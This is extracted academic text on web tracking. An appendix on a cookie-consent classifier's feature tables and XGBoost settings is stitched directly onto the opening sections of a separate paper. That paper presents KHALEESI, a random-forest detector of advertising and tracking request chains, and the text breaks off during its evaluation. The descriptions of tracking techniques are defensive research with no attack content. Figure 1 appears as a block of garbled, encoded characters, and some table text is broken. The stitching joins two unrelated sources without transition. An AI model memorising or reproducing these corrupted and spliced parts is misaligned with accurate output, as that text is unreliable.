B Feature extraction and hyperparameters

In the following, we provide more details about the feature
extraction and the model’s hyperparameters. For the most
detailed overview, please refer to the extended report [3] and
project documentation.5

Feature types. We extract three major types of features
from the cookies. First, from each cookie, we extract features
from its attributes, presented in Table 8. Second, with each
cookie update, we store the updated features listed in Table 9.
The number of updates used for the feature extraction is
configurable. By default we use two, so that the classification
does not require longer observations of the cookie, which
is a trade-off for model performance. Finally, starting with
the first update, we compute the difference to the previous
version of the cookie, which are the per-difference features
we show in Table 7.

Classifier hyperparameters. In Table 6 we show the
parameters we selected for training the XGBoost model. They
were selected through the use of a randomized grid-search
and 5-fold cross-validation.

5The feature documentation and classifier are available at:
https://github.com/dibollinger/CookieBlock-Consent-Classifier.
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Table 8: Per-cookie features overview: All features that are
extracted once per unique cookie. Entries marked with a *
may cause issues when used within the context of a browser
extension. In the parentheses after the name, we show the
number of vector entries the feature takes.

Feature name Description

Top names (500) One-hot vector of the most common cookie names.
Top domains (500) One-hot vector of the most common domains.
Pattern names (50) One-hot vector of the most common name patterns.
Name tokens (500) Binary indicator of English tokens in the name.
IAB vendor (1) Binary indicator, true if domain is an IAB vendor.
Domain period (1) Indicates whether the domain starts with a period char.
Third-party* (1) Whether the cookie originates from a third-party.
Non-root path (1) Whether the cookie path is not the root path.
Update count* (1) Total number of updates encountered for this cookie.
Host-only flag (1) Whether the “host-only” flag is set.
HTTP-only changed (1) Whether the “HTTP-only” flag changed in any update.
“Secure” changed (1) Whether the “secure” flag changed in any update.
“Same-Site” changed (1) Whether the “same-site” flag changed in any update.
“Session” changed (1) Whether the “session” flag changed in any update.
“Expiry” changed (1) Whether the expiry changed by 1+ days between updates.
Content changed (1) Whether the cookie content changed between updates.
Levenshtein total (2) Mean and StdDev of Levenshtein dist. between updates.
Difflib total (2) Mean and StdDev of Difflib similarity between updates.
Length total (2) Mean and StdDev of the cookie value length in bytes.
Compressed total (2) Mean and StdDev of the compressed cookie value length.
Entropy total (2) Mean and StdDev of the Shannon Entropy of values.

Table 9: Per-update feature overview: All features that are
extracted once per cookie update. The number of updates used
for extraction can be specified separately.

Feature Name Description

“HTTP-only” flag (1) Binary indicator of whether the “http-only” flag is set.
“Secure” flag (1) Binary indicator of whether the “secure” flag is set.
“Session” flag (1) Whether the cookie is a session cookie or not.
“Same-Site” flag (3) Whether “None”, “Lax” or “Strict” is set.
Expiration time (1) Ordinal feature, contains the expiry in seconds.
Expiration intervals (8) Interval checks on expiry, e.g., > 1 day, < 1 week.
Content length (1) Total size of the cookie’s value in bytes.
Compressed length (1) Size of the cookie value after zlib compression.
Compression rate (1) Reduction of the size after zlib compression.
Shannon entropy (1) Shannon entropy of the cookie update’s value.
URL encoding (1) Indicates whether the cookie value is URL encoded.
Base64 encoding (1) Indicates that the value is potentially Base64 encoded.
Delimiter separation (9) Delimiter (CSV) separation type and #separators.
Contains JSON (1) Whether the value contains a JSON object.
Content terms (50) Binary indicator of English tokens in the value.
CSV contents (5) Try to split as CSV and detect value types within.
JS contents (11) Try to split as JSON and detect value types within.
Numerical content (1) Whether the value consists entirely of digits.
Hexadecimal content (1) Whether the value represents a hexadecimal number.
Alphabetical content (1) Whether the value is entirely alphabetical.
Identifier content (1) Whether the value is a valid code identifier.
All uppercase (1) Whether the cookie value has all uppercase letters.
All lowercase (1) Whether the cookie value has all lowercase letters.
Empty content (1) Whether the value of the cookie is empty.
Boolean content (1) Whether the cookie value is a boolean of some form.
Locale content (1) Whether the value includes a country identifier.
Timestamp content (1) Whether a UNIX timestamp is in the cookie value.
Date content (1) Whether the value contains a date term or identifier.
URL content (1) Whether the value contains a URL of some form.
UUID content (6) Which UUID variant, if present in the value.
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Abstract
Request chains are being used by advertisers and trackers for
information sharing and circumventing recently introduced
privacy protections in web browsers. There is little prior work
on mitigating the increasing exploitation of request chains by
advertisers and trackers. The state-of-the-art ad and tracker
blocking approaches lack the necessary context to effectively
detect advertising and tracking request chains. We propose
KHALEESI, a machine learning approach that captures the
essential sequential context needed to effectively detect adver-
tising and tracking request chains. We show that KHALEESI
achieves high accuracy, that holds well over time, is generally
robust against evasion attempts, and outperforms existing ap-
proaches. We also show that KHALEESI is suitable for online
deployment and it improves page load performance.

1 Introduction

Request chains, most commonly implemented using HTTP
redirects, enable several important web functionalities such as
URL shortening [23], protocol upgrades [31], CDN request
routing [27], etc. They have also been used by advertisers
and trackers to implement cookie syncing as part of program-
matic online advertising [21,26,38,39,57,58]. As mainstream
browsers have recently implemented countermeasures against
third-party cookies [10, 12], advertisers and trackers have
started to use request chains to circumvent these privacy pro-
tections. For example, request chains are being used to imple-
ment bounce tracking [17,69,71] — a tracking technique that
advertisers and trackers use to circumvent third-party cookie
blocking by forcing users to visit them in the first-party con-
text. Request chains have also been used to generate HTTP
Strict Transport Security (HSTS) super cookies [16, 70].

While the malicious use of request chains for drive-by
malware download, spam, and phishing has been extensively
studied [30,34,41,46,52,54,56], the research community has
only recently started to look into their recent increased use

‡
The majority of this work was completed while Steven was at Mozilla.

by advertisers and trackers and effective countermeasures are
still lacking [51]. The state-of-the-art approaches to detecting
and blocking advertising and tracking resources are generally
limited to analyzing requests individually. A slew of heuristic
and machine learning (ML) approaches have been proposed
to analyze information in HTTP request headers and payloads
to detect advertising and tracking requests [28, 45, 62]. These
approaches cannot effectively detect advertising and tracking
request chains since they lack the necessary context to do so.
Several approaches target cookie syncing enabled by request
chains using information in HTTP request and response head-
ers and payloads [26, 38, 39, 58]. These approaches narrowly
target request chains implementing a specific behavior such as
cookie syncing and cannot detect a variety of other advertis-
ing and tracking behaviors implemented using request chains
such as bounce tracking. On a similar note, some browsers
such as Safari [68] defend against specific abuses of request
chains [40, 55, 75]. However, Safari’s Intelligent Tracking
Prevention (ITP) considers the appearance of a request in a
chain but not what it actually does. Thus, since ITP does not
capture the available sequential context, it is prone to mis-
classify benign request chains, limiting its utility to storage
restrictions, e.g., cookie clearing [68], rather than outright
request blocking.

We propose KHALEESI, a machine learning approach that
focuses on sequential context to detect advertising and track-
ing request chains. Specifically, we design a light-weight
representation of request chains to capture the sequence of
requests and responses. This representation allows us to effec-
tively capture the interactions between chains of interrelated
requests triggered by HTTP redirects or embedded scripts. We
leverage this purpose-built representation to extract features
that capture this context and train our classifier. KHALEESI’s
classifier makes a new classification decision in an online fash-
ion as a new request in a chain is loaded. This capitalization
of sequential context enables KHALEESI to more accurately
and efficiently detect advertising and tracking request chains
than prior approaches.

We evaluate KHALEESI across various browser configura-
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tions covering landing and internal pages on top-10K websites.
The results show that KHALEESI classifies request chains,
which account for one-third of all requests in our crawls, with
an accuracy ranging from 98.63–99.95%. KHALEESI out-
performs prior approaches by 3.51–40.07 percentage points
in terms of accuracy. KHALEESI is also generally more ro-
bust against evasion attempts such as domain rotation, URL
randomization, and CNAME cloaking. We also show that
KHALEESI’s accuracy holds well over time, degrading less
than 5% after 8 months. Moreover, KHALEESI improves page
load performance on 91.26% of the websites as compared
to stock Firefox and 59.82% of the websites as compared to
Firefox with Adblock Plus.

Our in-depth analysis of KHALEESI’s deployment sheds
light on the information sharing ecosystem enabled by request
chains. We build a request chain graph to understand bilateral
information sharing relationships between different entities
and find that despite individual request blocking, through ad
and tracker blocking extensions, trackers can still share in-
formation with each other via request chains. Our findings
show that KHALEESI’s improved accuracy helps significantly
reduce the proliferation of tracking in the request chain graph.
We also find emerging use cases of request chains to imple-
ment bounce tracking for circumventing recently introduced
restrictions on third-party cookies.

In summary, our key contributions are as follows:

1. We present KHALEESI, an ML approach that capitalizes
on sequential context to detect advertising and tracking
request chains.

2. We conduct a rigorous evaluation of KHALEESI’s accu-
racy and robustness in detecting advertising and tracking
request chains and compare it against prior approaches.

3. We present a lightweight implementation of KHALEESI
as a browser extension. We show that KHALEESI is fea-
sible for online deployment and improves page load per-
formance.

4. We use KHALEESI to analyze how advertisers and track-
ers use request chains for information sharing and cir-
cumvention.

2 Background & Related Work

2.1 Background
A URL redirect (short for redirection) is a standard technique
to forward a user’s request for a resource to another address.
Redirects form a chain of interrelated requests that are of-
ten used to share data between trackers. In a typical HTTP
request, the browser will send a request to a server for a re-
source at a specific location. The server evaluates the request
and responds with the requested resource if it is available.
However, if the server cannot fulfill the request on its own

then it may forward the browser to another server. To this end,
the server responds with an HTTP 3XX response code and in-
cludes a new URL for the resource in the Location response
header. The browser then issues a subsequent HTTP request
to the new URL and the same process ensues. Subsequent
request-response sequences form a request chain.

Request chains can be implemented at multiple layers in
the web stack: via HTTP redirects, HTML redirects, and in
JavaScript.1 HTTP-layer request chains are implemented as
part of the HTTP protocol using 3XX response codes. In this
type of request chain, a browser will be bounced between
locations on one or more servers to retrieve content for a sin-
gle resource. HTML-layer request chains are implemented
through meta refreshes. This type of request chain occurs
when the HTML of a page includes a meta tag that spec-
ifies http-equiv="Refresh" with a new URL in the url

attribute. Because they rely on HTML, meta refresh redi-
rection can only occur at the frame level. JavaScript-layer
request chains can be implemented in a number of ways. Re-
quest chains can be built in the top-level frame when a script
updates window.location to a new URL. Request chains
can be built from embedded resources when a script loads
a chain of resources with intertwined dependencies [46]. A
recent measurement study sampled sites across the Alexa top
1M and found that almost 80% of them use HTTP redirects
and 35% use JavaScript-based top-level redirects [61].

Request chains are most often built from redirects. Redi-
rects serve many necessary functions on the web: they allow
websites to seamlessly migrate content between hostnames,
upgrade connections to more secure protocols (i.e., HTTP to
HTTPS), and implement URL shortening services. However,
redirects are also often used for abuse. Most notably, redirects
are used to obscure URLs that distribute spam or other types
of malware [56]. Request chains also play a core role in on-
line advertising: they allow advertisers and trackers to share
tracking information across origins [21, 26, 57, 58].

Cookie Syncing. Advertisers most often track users across
the web using client-side identifiers stored in cookies. When
advertisers wish to collaborate, they first need to “sync” these
identifiers with each other. Advertisers cannot directly share
these identifiers with each other due to the same-origin policy.
To bypass this restriction, advertisers embed their identifiers
in requests to other advertisers. Such information sharing
between different origins is called cookie syncing [21, 39, 57].
Prior work has shown that some tracking origins sync cookies
with 100+ other origins [38], and that syncing enhances their
coverage by as much as a 7⇥ [58].

Bounce Tracking. To combat cookie-based cross-site
tracking, several browsers, such as Safari and Firefox, now
block third-party cookies [6, 68].2 Advertisers have been

1DNS CNAME records also provide a form of redirection at the DNS
level, but we do not study these.

2Safari blocks all third-party cookies and Firefox blocks third-party cook-
ies from known trackers.
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found to bypass third-party cookie blocking by “bouncing”
the browser through a tracking website during an otherwise
unrelated top-level navigation (i.e., by using a top-level redi-
rect) [55, 71]. When embedded as a third-party, the bounce
tracker has no access to cookies. However, once a tracker
is visited directly during a “bounce” it can read and write
cookies as a first-party. This allows it to associate tracking
data with identifiers stored in the users cookies. A recent
study showed that as many as 87% of popular websites might
be bypassing third-party cookie restrictions using such tech-
niques [61].

2.2 Related Work
There are no purpose-built countermeasures against advertis-
ing and tracking request chains. Existing countermeasures
generally operate at the level of individual requests even if
they are occurring as part of a request chain. These counter-
measures do not fully take into account the available context
of request chains. Based on the context they leverage, exist-
ing countermeasures can be divided into three categories: (1)
approaches that only use request information, (2) approaches
that use both request and response information, and (3) ap-
proaches that use both request and response information in a
sequential manner.

There is prior work on detecting malicious use of request
chains such as drive-by malware download [30, 56]. How-
ever, these approaches cannot be readily repurposed to detect
advertising and tracking request chains due to the inherent
differences between malware and tracking. Conceptually, mal-
ware and tracking fundamentally differ, both in their goals
and implementation. Specifically, malware typically attempts
to directly compromise a victim’s device. In contrast, trackers
do not directly aim to compromise a victim’s device. They
instead aim to harvest/exfiltrate information that can then
be used to identify and track users across the web. Further,
malware attempts to hide and uses request chains (e.g., URL
shorteners [34, 54]) to this end. In contrast, trackers use re-
quest chains to carry out their regular activity in a fairly stan-
dardized and distinct manner (e.g., for cookie syncing [43])
compared to malware. Due to these differences, advertising
and tracking request chains have distinct features that are
not captured by prior approaches for detecting malicious re-
quest chains. For example, prior work on detecting malicious
request chains [30, 56] only consider aggregate sequential in-
formation (e.g., number of redirects with obfuscated request
URLs) and generally ignore request and response properties,
which are crucial to detect advertising and tracking behaviors
in request chains.

Request based detection. Content blockers, such as Ad-
block Plus [2], are the most commonly used defense against
advertising and tracking. Content blockers rely on filter lists
(e.g., EasyList [8]). Prior research has tried to use machine
learning (ML) on request information to enhance filter lists.

For example, Bhagavatula et al. [28] extracted features from
the URL (e.g., query string parameters) to train different ML
classifiers for detecting advertising requests. However, filter
lists ultimately rely on a subset of information available in
HTTP requests: the request URL, the content type of the re-
quested resource, and the top level domain of page. Thus,
filter lists cannot detect if trackers engage in cookie syncing
because they do not look at the HTTP Cookie header. Filter
lists do not use sequential context that reflects the intent of
the request occurring in a chain. The lack of consideration of
sequential context also contributes to their susceptibility to
adversarial evasion [22, 35, 65].

Request and response based detection. Some ap-
proaches [15, 45, 76] have tried to use both request and re-
sponse information to detect ads and trackers using ML clas-
sifiers. Yu et al. [76] proposed to detect trackers by observing
the unique values shared by a significant number of third
parties. Privacy Badger [15] labels third-party domains as
trackers if they set cookies on three or more websites. Gugel-
mann et al. [45] proposed to use HTTP request and response
meta data, such as the size of requests and whether cookies
are set, to train their classifier that detects ads and trackers.
Other approaches [38, 39, 58] have been purpose-built to de-
tect cookie syncing in request chains. Papadopoulos et al. [58]
proposed to detect cookie syncing events using an ML classi-
fier by relying on keywords in HTTP requests, such as domain
name and URL parameters, as features. Both Fouad et al. [39]
and Englehardt and Narayanan [38] proposed to detect cookie
syncing by observing identifiers across consecutive requests
and responses. Though these approaches perform better than
the request based detection approaches, they are far from ideal
because they are only able to observe a subset of the advertis-
ing and tracking behaviors that occur in a request chain. For
example, these approaches cannot observe bounce tracking
because it requires an analysis of multiple request and re-
sponse pairs in a sequential manner. Similar to request based
approaches, request and response based approaches are also
susceptible to adversarial evasion [22, 35, 65] because of their
reliance on domain and parameter names (as we demonstrate
later in § 4.3.2).

Request and response sequence based detection. Recent
ML-based approaches have proposed using sequential con-
text to detect ads and trackers, including Safari’s Intelligent
Tracking Prevention (ITP) [68], Brave’s AdGraph/PageGraph
[49, 64], and WebGraph [63]. ITP uses an ML classifier that
detects third-party trackers by monitoring the redirects from
third parties to other domains, the presence of third parties on
other websites as a resource, and the presence of third parties
on other websites as iframes [74]. Though ITP utilizes par-
tial sequential information, by monitoring the number of redi-
rects, it does not capitalize on tracking information revealed
in the requests and responses. Furthermore, ITP is a “post-
hoc” approach to tracker detection, i.e,. ITP is only able to
detect tracking after it has observed the tracking behavior. Ad-
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Graph/PageGraph [49,64] use a graph-based ML approach to
detect ads and trackers by monitoring their interactions across
HTML, HTTP, and JavaScript layers. While AdGraph implic-
itly uses sequential context that is obtained through structural
graph properties, it does not explicitly capture HTTP redirects
and HTTP request header information [13, 47]. The absence
of redirects and request header information makes AdGraph/-
PageGraph oblivious to requests that are part of request chains.
More recently, WebGraph [63] improves AdGraph’s robust-
ness by adding features that capture the flow of information
from one entity to the browser’s storage, the network, and to
other entities loaded on a page as well as by excluding content
features. Different from AdGraph, WebGraph incorporates
HTTP redirects and HTTP request header information in its
graph representation. While WebGraph’s graph representa-
tion does capture HTTP redirects, it does not capitalize on
the sequential nature of HTTP requests in a redirect as well
as information in HTTP responses. Moreover, due to signifi-
cant performance overheads, WebGraph operates in an offline
manner and is envisioned to generate filter lists to block ad-
vertising and tracking resources, making it susceptible to the
same issues that hamper filter lists [22, 35, 65].

In conclusion, existing approaches do not fully consider the
necessary sequential context and thus cannot effectively detect
advertising and tracking request chains. To bridge that gap,
we next propose KHALEESI, an ML approach that captures
the sequential context in request chains to effectively detect
advertising and tracking request chains. As compared to prior
work, KHALEESI is novel in two main aspects: (1) it is tailor-
made to detect advertising and tracking request chains (see §
3) and (2) it is thoroughly evaluated on simulated real-world
browser configurations and conditions (see § 4).

3 KHALEESI

In this section, we present the design and implementation
of KHALEESI, a machine learning based approach that uses
sequential context for the early detection of advertising and
tracking request chains. At a high level, KHALEESI organizes
requests into a chain-like structure which captures the se-
quential context of interrelated requests. It then leverages this
sequential context to train a machine learning classifier to
effectively detect advertising and tracking resources. Figure 1
gives an overview of KHALEESI.

3.1 Motivation & Key Idea
Existing approaches detect individual advertising and track-
ing requests in isolation, even when they are part of a re-
quest chain. They utilize only partial request information,
which might indicate what the resource is (i.e., a tracker)
but not what the resource does (i.e., tracking). Such partial
consideration of request information not only makes existing

�
85/��WUDFNHU�FRP�
&RRNLH��UDLVLQ�

�����

/RFDWLRQ�WUDFNHU��FRP"WUDFNHUBFRRNLH UDLVLQ�
�����

5HVSRQVH

5HTXHVW

85/�WUDFNHU��FRP"WUDFNHUBFRRNLH UDLVLQ�
&RRNLH��FKRF�

�����

/RFDWLRQ��WUDFNHU�FRP"WUDFNHU�BFRRNLH FKRF�
�����

5HVSRQVH

5HTXHVW

�
85/��WUDFNHU�FRP"WUDFNHU�BFRRNLH FKRF�

&RRNLH��UDLVLQ�
�����

�
6WDWXV�FRGH�������

&RQWHQW�W\SH��WH[W�KWPO��
���

5HVSRQVH

5HTXHVW

2UJDQL]DWLRQ�RI�UHTXHVWV�LQWR�FKDLQV�

)HDWXUH�H[WUDFWLRQ��
	�ODEHOLQJ�

0RGHO�WUDLQLQJ�

%ORFNLQJ�UHTXHVW
FKDLQV

�

Figure 1: KHALEESI: (1) We first organize network and
JavaScript-layer requests into chains. (2) We then label the
request chains with ad and tracker blocking filter lists and
extract features from them. (3) We use the extracted features
to train a machine learning model and (4) use it to detect and
block advertising and tracking request chains. The example
cookie syncing request chain in (1) demonstrates the benefit of
sequential context leveraged by KHALEESI. Specifically, the
dotted blue blocks represent the context utilized by existing
approaches in isolation. Whereas the green arrows represent
the increasing sequential context utilized by KHALEESI.

approaches less accurate, but also susceptible to evasion at-
tempts by advertisers and trackers. Prior research has shown
that the URL-based ad and tracker detection approaches are
vulnerable to hostname and URL path randomization [22,67].
There have been several instances in the wild, where deter-
mined advertisers and trackers have used domain generation
algorithms (DGA), to rotate domains, to evade ad and tracker
blocking [35,77]. Since redirects provide an apparatus to load
resources from different endpoints at the runtime, evasions
attempts (e.g., domain rotation) are even more applicable.

However, the sequentially chained nature of many adver-
tising and tracking requests puts us in an advantageous po-
sition to detect them. For example, we can easily observe
cookie syncing—a fundamental component of advertisement-
related tracking—by analyzing the sequential chain of re-
quests. KHALEESI is the first privacy-enhancing blocking
approach that leverages the sequential context available in re-
quest chains for early detection. To demonstrate the benefit of
the sequential context leveraged by KHALEESI, we show an
example of a cookie syncing request chain implemented using
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HTTP redirects in Figure 1 (1). The dotted blue blocks show
the visibility of existing request-based detection approaches
and the green arrows show KHALEESI’s visibility of sequen-
tial context. Existing approaches will use incomplete request
and response information and will fail to link the redirects in
a sequence. Thus, these approaches will miss the fact that the
resources are cookie syncing. In contrast, KHALEESI oper-
ates with a much richer context: it includes information from
requests, responses, and their sequential connectivity. This
allows KHALEESI to make a classification decision that incor-
porates aspects of cookie syncing visible only when multiple
request-response pairs are examined.

3.2 Request Chain Construction
KHALEESI’s request chains capture a wide range of adver-
tising and tracking behaviors such as cookie syncing [18],
bounce tracking [69], and HSTS [16], that are known to ex-
ploit information across multiple requests. KHALEESI cap-
tures advertising and tracking behaviors from both network-
layer and JavaScript-layer request sequences.

Network-layer request chains are constructed by linking
HTTP requests that instruct the browser to initiate a redirect.
Redirects are continuously linked until the response speci-
fies that the request is complete. We also include Javascript-
initiated top-level frame redirections in this category. Top-
level redirects can be triggered in a number of ways, including
by an HTTP 3XX response status or by HTTP response that
includes embedded JavaScript to automatically navigate the
frame to a new URL (e.g., via window.location). Regard-
less of how the redirects are triggered, the end result is the
same: the server sending the HTTP response forwards the
browser to another server.

Network-layer request chains provide decentralized control
because each server in the chain may choose to redirect the
browser to a new location. Decentralized control is preferred
in use cases where each entity wants to control the navigation
flow. For example, cookie syncing is a use case where decen-
tralized control is preferred because each entity decides who
they want to sync cookies with.

JavaScript-layer request chains are constructed by link-
ing together JavaScript-initiated HTTP requests initiated by
the same script. Specifically, we intercept the JavaScript stack
trace each time a request is initiated and associate the request
to the script at the top of the stack. However, not all HTTP
requests that originate from a script are interrelated. For exam-
ple, tag management scripts will initiate a bunch of unrelated
HTTP requests. We filter out unrelated requests by only link-
ing requests that share identifiers with each other. Below we
describe our request linking method:

1. Tokenize the values stored in the Cookie and Set-Cookie
headers, the query string parameters from requests and re-
ferrers, and the values of non-standard HTTP headers. Val-
ues are split on any character other than a-zA-Z0-9_=-.

2. Filter out the tokens that have fewer than 8 characters to
prevent false matches with common identifiers, such as
en-US.

3. Consider plain, Base64 encoded, MD5 hashed, and SHA-1
hashed versions of the tokens as identifiers.

4. Match the identifiers from the preceding request with the
cookies, query string parameters, and non-standard HTTP
request headers of all future requests.

5. If there is a match, we consider the request a part of the
chain.

In principle, subsequent JavaScript-layer requests achieve
the same objective as HTTP redirects and they have been
linked into chains in prior work [46]. In contrast with network-
layer request chains, JavaScript request chains provide central-
ized control because the requests are solely determined by the
originating script without any intervention from external web
servers. Centralized control is preferred in use cases where
only a single central entity wants to control the navigation
flow. For example, header bidding is a use case where central-
ized control is preferred because a single script at the client
side conducts the bidding process.

3.3 Feature Extraction
Next, we use sequential context to extract features that distin-
guish advertising and tracking request chains from functional
request chains. These features are designed based on our
domain knowledge and expert intuition. We use sequential
context to extract three types of features: (1) sequential, (2)
response, and (3) request. Sequential features capture chain-
level properties, whereas request and response features cap-
ture individual HTTP request-level properties. As a whole,
these features provide complete sequential context. In total
we extract 28 features from the request chains (Table 1). Be-
low we describe some of the key features in each category.
We analyze key features in § 4.4.

Sequential features capture communications that reveal
the collaboration between domains. For example, a chain in
which several domains redirect to each other may indicate that
it is an advertising and tracking redirect chain where domains
are trying to share information and identifiers. KHALEESI
captures these properties by considering the number of unique
domains and the length of the chain as features. The number
of unique domains represents the unique number of domains
contacted and the length of the chain capture the total number
of requests in the chain.

Relying on sequence further allows KHALEESI to capi-
talize on the growing chains. Specifically KHALEESI uses
the probability of the previous prediction and the average
probability of the previous predictions features to summa-
rize properties of the prior request and response pairs. The
probability of the previous prediction feature represents the
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Sequential Features IG(%)

Average probability of the previous predictions 43.64%
Probability of the previous prediction 41.09%
Length of the chain 6.26%
Consecutive requests to the same domain 5.91%
Number of unique domains in the chain 3.97%

Response Features

Content length 13.56%
P3P in response header 9.88%
Content sub-type (e.g. png) 8.82%
Status code 8.43%
ETag in response header 6.52%
Whether the response sets a cookie 4.55%
Content type (e.g. image) 4.44%
Number of response headers 3.97%

Request Features

Third-party 35.10%
Length of the query string 30.34%
Ad/track. keywords in URL (e.g. pixel, track) 28.09%
Ad/track. keywords in URL surrounded by special char. 27.92%
Number of special characters in query string 27.80%
Length of the URL 22.26%
Subdomain check 12.54%
Accept type (e.g. image, script) 11.92%
Subdomain of the top-level domain check 9.07%
Top-level domain in query string 7.68%
Number of cookies in request 7.22%
UUID in URL 2.71%
Number of request headers 1.78%
Request method (GET or POST) 0.47%
Semicolon in query string 0.13%

Table 1: Features extracted from the request chains along with
their information gain (IG).

classification probability in the previous classification and the
the average probability of the previous predictions feature
represents the average classification probability in prior clas-
sifications, indicating the likelihood of a request chain being
advertising and tracking. To compute the probability of the
previous prediction and average probability of the previous
predictions features during the training phase, we mimic how
these features would be computed during the real-time classi-
fication. Specifically, for each position in the chain, we train
separate surrogate classifiers and classify (test) the redirects
to compute the classification probability. To ensure that we do
not test and train on the same data, we create 10 folds of data
and test each fold by training on the remaining 9 folds. We
limit the training of surrogate classifiers to 21 times because it
is the maximum number of HTTP redirects allowed in Firefox
and only 3.29% of the JavaScript request chains exceed that
length. Sequential features are updated after receiving each
response, and can only be computed after receiving the first
response.

Response features capture properties that indicate the ac-
tions of the loaded content. For example, a response that
loads a 1x1 image and sets a cookie is likely a tracking pixel.
KHALEESI captures these properties by considering content
type, content length, and whether the response sets a cookie
as features. We also use P3P and ETag presence in response
header as features, because P3P is a W3C standard used to
specify cookie access policies [14] and prior research has
shown that the ETag is exploited for tracking [24]. Similar to
sequential features, response features are also computed after
a response is received for a request.

Request features capture properties that can reveal the
intent of the requester. For example, a request to a third-party
domain that contains a large number of parameters in the
query string may indicate that the third party is a tracker.
KHALEESI captures these properties by considering the length
of the URL and whether the request is from a third party.
The length of the URL feature captures the total number of
characters in a URL and the third party feature represents
whether a request is first-party or third-party. We also try to
capture the semantics of the content shared in the query string
which may indicate that the request is advertising and tracking.
Specifically, we use regular expressions to look for UUID in
URL and Ad or screen dimensions in URL. The presence of
UUID in URL indicates the leakage of a unique identifier and
Ad or screen dimensions in URL indicates a request for an
ad with certain dimensions. In contrast to the sequential and
response features, the request features capture information
that is available before a request is sent.

Network-layer vs. JavaScript-layer chains. For most of
the features, the network-layer and JavaScript-layer chains
have similar patterns. This allows us to use a single classifier
to classify both types of chains. However, certain features are
drastically different between network-layer and JavaScript-
layer request chains, and that level of variance can confuse
the classifier. For example, the length of the chain feature has
smaller values for network-layer chains than JavaScript-layer
chains. To mitigate these differences we include chain type as
a meta-feature, which allows the classifier to avoid confusion
when feature values vary significantly.

3.4 Classification
KHALEESI uses the random forest machine learning algo-
rithm to classify request chains because it is better suited to
avoid overfitting [29]. Random forest is an ensemble learning
method that combines multiple decision trees and makes a
prediction by taking the majority decision among trees. Each
decision tree in random forest is trained on a random subset
of the data and a random selection of the features (selected
with replacement). Branches in a decision tree are constructed
by splitting on features that provide the best separation for
positive and negative samples. The random selection of data
and features helps random forest avoid overfitting. We config-
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Configuration
Network JavaScript % of

# Requests # Chains %AT # Requests # Chains %AT Requests

Cookies allowed (homepage) 192,038 76,816 78.7% 253,582 44,747 65.6% 30.05%
Cookies allowed (interactive) 575,550 229,151 82.3% 1,320,733 145,135 61.1% 34.67%
Cookies blocked (interactive) 432,935 183,230 78.6% 1,195,188 120,879 61.8% 32.00%
Spoofed Safari (interactive) 384,404 166,018 70.5% 1,328,986 130,187 63.0% 32.78%
Webmail (no JavaScript) 217,102 76,938 78.1% – – – 29.54%

Table 2: Total number of requests and request chains crawled for each configuration. AT refers to Advertising and Tracking. % of
requests represents the percentage of network requests in each dataset that are part of request chains.

ure our random forest model to have 100 decision trees with
randomly selected int(

p
N) features for each decision tree,

where N is the total number of features.
KHALEESI’s random forest model classifies individual re-

quests in a request chain based on that request’s sequential
context. Since each request may potentially leak data to an
ad and tracking server, KHALEESI tries to detect the ad and
tracking request chains as early as possible. Note that in the
case of network-layer request chains, no further requests are
made from a chain once a request in the chain is detected and
blocked as advertising and tracking. This is because each new
request in the chain is initiated directly by the previous re-
quest. For JavaScript-layer request chains, all requests that are
not classified as advertising and tracking are still sent by the
script. This is because each request in the chain is initiated by
an external script; blocking one request does not prevent the
script from making another request to a non-blocked domain.

4 Evaluation

We evaluate KHALEESI along several dimensions.

4.1 Accuracy
Data Collection. We evaluate KHALEESI on crawl data col-
lected using version 0.10.0 of OpenWPM [38] in August 2020
in the US. In each crawl, we visit the Alexa top-10K home-
pages. Interactive crawls additionally navigate to random
internal pages by clicking on iframes and anchor tags.

We test the following configurations:

1. A non-interactive crawl using Firefox configured to allow
all third-party cookies.

2. An interactive crawl using Firefox configured to allow all
third-party cookies.

3. An interactive crawl using Firefox configured to block all
third-party cookies.

4. An interactive crawl using Firefox configured to spoof
some basic properties of Safari. Specifically, we con-
figure Firefox to block all third-party cookies, over-
ride the User-Agent HTTP header, and override the

JavaScript-accessible useragent, vendor, appVersion,
and platform properties.

5. A dataset of emails collected by Englehardt et al. [37],
which used an older OpenWPM configured to emulate
an email client by disabling JavaScript and stripping the
Referer header.

These configurations represent a sample of browsing con-
ditions that users may experience and choose while browsing
the web. For example, spoofed Safari with third-party cookie
blocking is an emulation of default settings in the actual Sa-
fari web browser. Table 2 summarizes the chains extracted
from all of the crawled dataset configurations.

Ground truth labeling. We compare KHALEESI’s classi-
fications against a ground truth of advertising and tracking
request chains provided by filter lists. In line with prior lit-
erature [28, 45, 49], we compile the set of advertising and
tracking request chains by using filter lists as ground truth.
Specifically, we use EasyList [8] and EasyPrivacy [9], two of
the most widely used filter lists, to label advertising and track-
ing request chains. We label a request chain as advertising and
tracking if at least one of the requests in the chain matches
the filter lists. Further, we address the imperfect nature of the
ground truth provided by filter lists [22, 48, 65] by doing a
post-hoc validation of KHALEESI’s disagreements with the
filter lists.

Classifier training and testing. We train separate random
forest classifiers for each of the crawled dataset configurations
and use 10-fold cross validation to test the datasets. Specifi-
cally, we divide request chains into 10 folds, where we use 9
folds for training and 1 fold for testing and repeat the process
for 10 times, ensuring that we do not train and test on the
same data.

Results. Table 3 presents KHALEESI’s evaluation across all
of the datasets. When trained on the same configuration where
testing occurs, KHALEESI’s machine learning models perform
well. However, users won’t always have access to a classifier
trained on their exact browser configuration. For example,
KHALEESI may be used alongside other privacy extensions,
or in a browser that blocks all third-party cookies. Thus, we
evaluate KHALEESI’s performance in these unanticipated use
cases. Specifically, we train a random forest classifier on the
homepage dataset and test this classifier on the other datasets.
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Configuration Recall Precision Accuracy

Cookies allowed (home.) 98.87% 98.76% 98.63%
Cookies allowed (int.) 99.24% 99.13% 99.06%
Cookies blocked (int.) 99.10% 99.05% 98.97%
Spoofed Safari (int.) 99.06% 99.02% 98.99%
Webmail (no JS) 99.97% 99.97% 99.95%

Table 3: KHALEESI’s accuracy in detection advertising and
tracking request chains with a separate classifier for each of
the crawled datasets.

We find that KHALEESI is less accurate when trained on
one dataset and tested on another (Table 4). Specifically, the
accuracy drops by around 4% to 6% for each of our web crawl
configurations, and by 19.38% for our webmail configuration.
This decline in accuracy is mainly due to differences in the
feature distributions. We highlight a few of these differences
below.

There are several key differences between the homepage
configuration and the others. First, 302 redirects are over-
represented in the homepage crawl. 42.91% of the advertising
and tracking redirect requests in the homepage configuration
use 302 redirects as compared to the interactive crawls where
cookies were allowed (28.56%), where cookies were blocked
(22.91%), and where we spoofed Safari (18.81%). Second,
navigations to new domains are more common in the home-
